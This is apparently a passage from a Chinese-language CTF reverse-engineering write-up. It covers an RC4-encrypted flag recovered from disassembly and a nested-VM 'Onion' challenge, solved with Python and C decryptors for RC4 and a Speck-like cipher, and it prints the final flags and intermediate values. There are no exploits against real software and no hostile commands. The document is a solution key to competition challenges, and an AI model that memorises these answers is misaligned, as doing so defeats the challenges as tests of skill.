.text:00401902                 mov     [ebp+var_C], ecx      ; j = (j+S[i])&0xFF
...
; 交换 S[i], S[j],然后:
.text:00401927                 mov     edx, [ebp+var_10]
.text:0040192A                 add     edx, [ebp+var_14]
.text:0040192D                 and     edx, 0FFh
.text:00401933                 mov     eax, [ebp+var_4]
.text:00401936                 movzx   ecx, byte ptr [eax+edx] ; S[(S[i]+S[j])&0xFF]
.text:0040193A                 mov     edx, [ebp+arg_4]
.text:0040193D                 movzx   eax, byte ptr [edx]
.text:00401940                 xor     eax, ecx              ; data ^= K
.text:00401942                 mov     ecx, [ebp+arg_4]
.text:00401945                 mov     [ecx], al
.text:00401947                 mov     edx, [ebp+arg_4]
.text:0040194A                 add     edx, 1
.text:0040194D                 mov     [ebp+arg_4], edx      ; data++
.text:00401950                 jmp     loc_4018C6           ; 继续下一个字节

最终exp:

key_str = b"flag:{ThisflagIsGoods}"
KEY_LEN = 0x80
key = bytearray(key_str + b"\x00" * (KEY_LEN - len(key_str)))
cipher = bytes([
    0x0f, 0x1a, 0x8a, 0x5a, 0x22, 0xab, 0x1e, 0x63,
    0x19, 0x5a, 0x87, 0xf2, 0xe6, 0xe9, 0xd7, 0xd1,
    0x97, 0xf9, 0xf8, 0x32, 0x5b, 0xde, 0x2d, 0xd6,
    0xa3, 0x4f, 0x7e, 0xcb, 0x61, 0xb2, 0x3f, 0xbf,
    0xb7, 0x1b, 0x0a, 0x84, 0xb3, 0xb4, 0xde, 0x03,
    0x46, 0x7b, 0x83, 0x2a, 0x51, 0x73, 0xe0, 0x7c,
    0x93, 0x27, 0x44, 0x9c, 0x56, 0x8f, 0x75, 0xfa,
    0xa0, 0x79, 0x26, 0xda, 0x08, 0x01, 0x85, 0x66,
    0x7d, 0xbb, 0xee, 0x0f, 0x89, 0x59, 0xd4, 0x5f,
    0xac, 0x18, 0xae, 0x0b, 0x4e, 0xf0, 0xb7, 0xdd,
    0xdd, 0x55, 0x4b, 0xea, 0x07, 0x92, 0x5c, 0x8a,
    0x53, 0xf3, 0xff, 0xf7, 0xa7, 0xdd, 0x2e, 0xe6,
    0xed, 0x0f, 0x77, 0x2c, 0x4a, 0x22, 0xf1, 0x36,
    0x4f, 0xa7, 0x55, 0x5e, 0x3e, 0x93, 0xa4, 0x34,
    0x29, 0x67, 0xfc, 0x23, 0x79, 0x19, 0xd8, 0xc9,
    0x2b, 0xcf,
])

def rc4_ksa(key_bytes):
    S = list(range(256))
    j = 0
    keylen = len(key_bytes)
    for i in range(256):
        j = (j + S[i] + key_bytes[i % keylen]) & 0xFF
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S, data):
    i = j = 0
    out = bytearray()
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) & 0xFF]
        out.append(b ^ k)
    return bytes(out)

S = rc4_ksa(key)
plain = rc4_prga(S, cipher)
print(plain)
"""
b'RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}\xda\x95\xc0K\x07\xba\x9b[b\xdc\xf6S \xa8x\xa3\xbcu\xbaki\xf4\xe2:P%AzT\xe2\xe8\x19\x0e\x12q\xb3ByI\x16J\xbe\x95\xce\xd6\xd9\xa0\x0c\x08Pz\xf3\xc8\x0b\xe2x[fh\xd3\xc7y\xe8\xf2\xb03E\xa0G|9\xc2\xb0\xdd-\xf1\xae\xd7\xec'
"""

Onion

vm 套娃

输入一堆数,加密顺序为

简易运算加密

类tea,魔改好多,问ai说是speck

明文加密结果与密文进行校验然后作为key解密下一段vmcode。

循环往复,如此套娃。

思路是,解决第一个数,后面用同样的方法进行能工智人即可,全自动化不会。

解决第一个数

首先是还原指令流,一般两种方法,写代码模拟或者trace打log。

此处使用后者。

然后队友使用强大的钞能力进行了一波ai分析。得到第一层的大体逻辑。

ai分析得到了上面概述说的大体流程,当然也结合了一些经验。

so,第二步,解密第一个数。

解密两步走

  1. 从log中提取关键值。
  2. 还原解密代码

第一步,从log中提取关键值。

需要提取的有 简易运算加密的参数,以及speck的参数。

00010223	.text:vm_execute+A96    	mov     rax, [rax+rcx]          	RAX=48F0E6421AC66DEA 
00010223	.text:vm_execute+60B    	mov     rcx, [rsp+rdi*8+328h+s] 	RCX=48F0E6421AC66DEA                    	
00010223	.text:vm_execute+613    	mov     rdx, rcx                	RDX=48F0E6421AC66DEA  

key0                 = 0x36B1CC9FE433713D
  提取于:00010223	.text:vm_execute:loc_55555556BE01	mov     rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器	RAX=36B1CC9FE433713D
key1                 = 0xF97646D69C84EBD8
  提取于:00010223	.text:vm_execute:loc_55555556BE01	mov     rax, [rax+rcx]; opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器	RAX=F97646D69C84EBD8

第二步

解密脚本如下

#include <stdio.h>
#include <stdint.h>

// 32位循环移位
uint32_t ror32(uint32_t v, int s) { s &= 31; return (v >> s) | (v << (32 - s)); }
uint32_t rol32(uint32_t v, int s) { s &= 31; return (v << s) | (v >> (32 - s)); }

// speck解密
uint64_t vm_tea_decrypt(uint64_t input) {
    uint32_t v0 = input & 0xFFFFFFFF;
    uint32_t v1 = (input >> 32) & 0xFFFFFFFF;
    uint32_t keys[27];
    uint32_t r2 = 0xE433713D, r3 = 0x36B1CC9F, r4 = 0x9C84EBD8, r5 = 0xF97646D6;
    for (int i = 0; i < 27; i++) {
        keys[i] = r2;
        if (i < 26) {
            uint32_t t0 = ror32(r3, 8) + r2;
            t0 ^= i;
            uint32_t t1 = rol32(r2, 3) ^ t0;
            r2 = t1; r3 = r4; r4 = r5; r5 = t0;
        }
    }
    for (int i = 26; i >= 0; i--) {
        v1 ^= v0;
        v1 = ror32(v1, 3);
        v0 ^= keys[i];
        v0 -= v1;
        v0 = rol32(v0, 8);
    }
    return ((uint64_t)v1 << 32) | v0;
}

// reverse
uint64_t reverse_xor(uint64_t v) {
    v ^= 0x8CB331163A92FC19ULL;
    v += 0x5566488C9C5CF234ULL;
    v ^= 0x5074D85B9194E696ULL;
    v += 0x48F0E6421AC66DEAULL;
    return v;
}

int main() {
    uint64_t target = 0xDA19BA6B81C83F61ULL;
    
    uint64_t after_tea = vm_tea_decrypt(target);
    printf("TEA dec: 0x%016llx\n", after_tea);
    
    uint64_t result = reverse_xor(after_tea);
    printf("Result:  0x%016llx (%llu)\n", result, result);
    
    return 0;
}

如此,我们就搓出来了。。。第一个数。那么剩下29个怎么办。能工智人,继续搓。

enc: 0xda19ba6b81c83f61 key:0x36b1cc9fe433713d,0xf97646d69c84ebd8

02= a28f38bd0463522c

enc: 0x659391a5dc3522b3 key:0x8d85b3156df9f721,0x28e3d33340bc0884

01= bf11b34d0ce941cc

enc: 0x5538224d4c7a252akey:0x1d1a63b571be74bc,0x3e36eee3aac04cfd

14= ef320f9e6ae31520

enc: 0x9766ec5e9e3303c0key:0x66a2d5250151c6d, 0x6d20bd39b0f2badc

11= 36646367b78c2f91

以下省略

ba610b6c5d80c91a
bf11b34d0ce941cc
a28f38bd0463522c
79ed5d84199dd9cb
4d9c56b2a1d77a0d
fe13c54ceb12fea8
494a63fc85b9953a
ad1f6be84bbb4680
cd05f91609d653fa
55493aa141fbe86f
25bc9aff736b80a8
d8817dda43824d2c
5fcca9a9cb65130d
6f3ed35da24dacfa
b5e1534e1dc36c87
ac1b4e2750778a01
c8f82d07316dcd3b
36646367b78c2f91
9eed7637cd5eaa26
ff546a0085041459
ef320f9e6ae31520
1e00a4b9e25488f6
1a9a0626a035fb9d
e2f1eb0e5248cd2c
8a0bf5239eed75c4
749e8082db34037d
f4d25540ed584887
c12422512500c887
7e1a125dcfa56359
497cff13eaa5bf76
d51ceddab7795459
a922933b0b315a10
cabd557ffa1df043
e0459b855188d045
82700d6f6a986873
c01552dff3a12f67
0615548ece7312fb
0e189fa829657913
8d4c8f2124957228
451572c65bcb3425
554fca602792e879
4f749f6bbca2014c
b1e1adc831c8d567
9c73a6d3f711e66e
2ab305ec4e07b0b4
98a16d274bb044d2
c409de0e72c1029e
5e68e47d3a360a80
a1570f48caceb3dd
d6ab1c9a18ebb936
RCTF{VM_ALU_SMC_RC4_SPECK!_593eb6079d2da6c187ed462b033fee34}

下次碰到套娃题,一定写解释器模拟自动化((